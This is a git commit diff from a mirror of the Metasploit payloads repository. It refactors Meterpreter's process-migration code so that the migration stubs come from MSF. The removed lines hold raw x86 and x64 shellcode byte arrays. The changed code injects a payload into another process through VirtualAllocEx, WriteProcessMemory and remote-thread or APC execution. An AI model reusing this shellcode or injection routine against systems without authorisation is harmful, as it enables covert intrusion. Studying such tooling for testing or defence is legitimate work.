1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

Move migration stub code to MSF

This commit changes the code so that the migration stubs are generated
in MSF and are transport specific (so that we only do the work we need
to).
This commit is contained in:
OJ 2016-12-08 16:00:04 +10:00
parent a39757a912
commit ff56b36a98
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
5 changed files with 109 additions and 96 deletions
c/meterpreter/source

@ -2,63 +2,19 @@
#include "base_inject.h"
#include "../../../config.h"
// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm'
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
"\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
"\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C"
"\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B"
"\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0"
"\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24"
"\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01"
"\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51"
"\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00"
"\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E"
"\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF"
"\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm'
BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8"
"\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48"
"\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48"
"\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
"\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52"
"\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B"
"\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48"
"\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34"
"\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41"
"\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8"
"\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40"
"\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E"
"\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0"
"\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77"
"\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0"
"\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07"
"\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5"
"\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02"
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// We force 64bit algnment for HANDLES and POINTERS in order
// to be cross compatable between x86 and x64 migration.
typedef struct _MIGRATECONTEXT
DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer)
{
union
*contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATCONTEXT));
if (*contextBuffer == NULL)
{
HANDLE hEvent;
BYTE bPadding1[8];
} e;
return ERROR_OUTOFMEMORY;
}
union
{
LPBYTE lpPayload;
BYTE bPadding2[8];
} p;
*contextSize = sizeof(COMMONMIGRATCONTEXT);
WSAPROTOCOL_INFO info;
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
return ERROR_SUCCESS;
}
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
{
@ -527,7 +483,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
LPVOID lpMigrateStub = NULL;
LPBYTE lpMemory = NULL;
LPBYTE lpUuid = NULL;
MIGRATECONTEXT ctx = { 0 };
LPCOMMONMIGRATECONTEXT ctx = NULL;
DWORD ctxSize = 0;
DWORD dwMigrateStubLength = 0;
DWORD dwPayloadLength = 0;
DWORD dwProcessID = 0;
@ -552,7 +509,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
// Get the length of the payload buffer
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
// Receive the actual migration payload buffer
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
@ -560,6 +517,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
// Get handles to the updated UUIDs if they're there
lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);
// Get the migrate stub information
dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
// If we can, get SeDebugPrivilege...
@ -593,13 +554,19 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
remote->config_create(remote, lpUuid, &config, &configSize);
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
if (config->session.comms_fd)
if (remote->transport->get_migrate_context != NULL)
{
// Duplicate the socket for the target process if we are SSL based
if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
{
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
}
dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (PBYTE*)&ctx);
}
else
{
dwResult = get_migrate_context(&ctxSize, &ctx);
}
if (dwResult != ERROR_SUCCESS)
{
dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
break;
}
// Create a notification event that we'll use to know when it's safe to exit
@ -607,71 +574,57 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!hEvent)
{
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
}
// Duplicate the event handle for the target process
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
}
// Get the architecture specific process migration stub...
if (dwDestinationArch == PROCESS_ARCH_X86)
{
lpMigrateStub = (LPVOID)&migrate_stub_x86;
dwMigrateStubLength = sizeof(migrate_stub_x86);
}
else if (dwDestinationArch == PROCESS_ARCH_X64)
{
lpMigrateStub = (LPVOID)&migrate_stub_x64;
dwMigrateStubLength = sizeof(migrate_stub_x64);
}
else
{
SetLastError(ERROR_BAD_ENVIRONMENT);
dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
break;
}
dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);
// Allocate memory for the migrate stub, context, payload and configuration block
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpMemory)
{
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
}
// Calculate the address of the payload...
ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);
ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;
// Write the migrate stub to memory...
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
}
// Write the migrate context to memory...
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
}
// Write the migrate payload to memory...
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
}
// finally write the configuration stub
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
{
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
}
free(ctx);
// First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
@ -680,7 +633,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
// If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
}
}

@ -75,4 +75,21 @@ typedef struct _MetsrvConfig
// \x00
} MetsrvConfig;
// We force 64bit alignment for HANDLES and POINTERS in order
// to be cross compatible between x86 and x64 migration.
typedef struct _COMMONMIGRATECONTEXT
{
union
{
HANDLE hEvent;
BYTE bPadding1[8];
} e;
union
{
LPBYTE lpPayload;
BYTE bPadding2[8];
} p;
} COMMONMIGRATCONTEXT, * LPCOMMONMIGRATECONTEXT;
#endif

@ -136,13 +136,15 @@ typedef enum
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
// Transport switching
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.

@ -39,6 +39,7 @@ typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
typedef BOOL(*PTransportInit)(Transport* transport);
typedef BOOL(*PTransportDeinit)(Transport* transport);
typedef void(*PTransportDestroy)(Transport* transport);
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer);
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
@ -242,6 +243,7 @@ typedef struct _Transport
PTransportDestroy transport_destroy; ///! Destroy the transport.
PServerDispatch server_dispatch; ///! Transport dispatch function.
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
STRTYPE url; ///! Full URL describing the comms in use.
VOID* ctx; ///! Pointer to the type-specific transport context;
TimeoutSettings timeouts; ///! Container for the timeout settings.

@ -5,6 +5,13 @@
#include "../../common/common.h"
#include <ws2tcpip.h>
// TCP-transport specific migration stub.
typedef struct _TCPMIGRATECONTEXT
{
COMMONMIGRATCONTEXT common;
WSAPROTOCOL_INFOA info;
} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT;
// These fields aren't defined unless the SDK version is set to something old enough.
// So we define them here instead of dancing with SDK versions, allowing us to move on
// and still support older versions of Windows.
@ -1155,6 +1162,37 @@ void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config
}
}
/*!
* @brief Create a migration context that is specific to this transport type.
* @param transport Transport data to create the configuration from.
* @param targetProcessId ID of the process that we will be migrating into.
* @param targetProcessHandle Handle to the target process.
* @param contextSize Buffer that will receive the size of the generated context.
* @param contextBufer Buffer that will receive the generated context.
* @return Indication of success or failure.
*/
static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer)
{
LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT));
if (ctx == NULL)
{
return ERROR_OUTOFMEMORY;
}
// Duplicate the socket for the target process if we are SSL based
if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR)
{
free(ctx);
return WSAGetLastError();
}
*contextSize = sizeof(TCPMIGRATECONTEXT);
*contextBuffer = (PBYTE)ctx;
return ERROR_SUCCESS;
}
/*!
* @brief Creates a new TCP transport instance.
* @param config The TCP configuration block.
@ -1184,6 +1222,7 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config)
transport->get_socket = transport_get_socket_tcp;
transport->ctx = ctx;
transport->comms_last_packet = current_unix_timestamp();
transport->get_migrate_context = get_migrate_context_tcp;
return transport;
}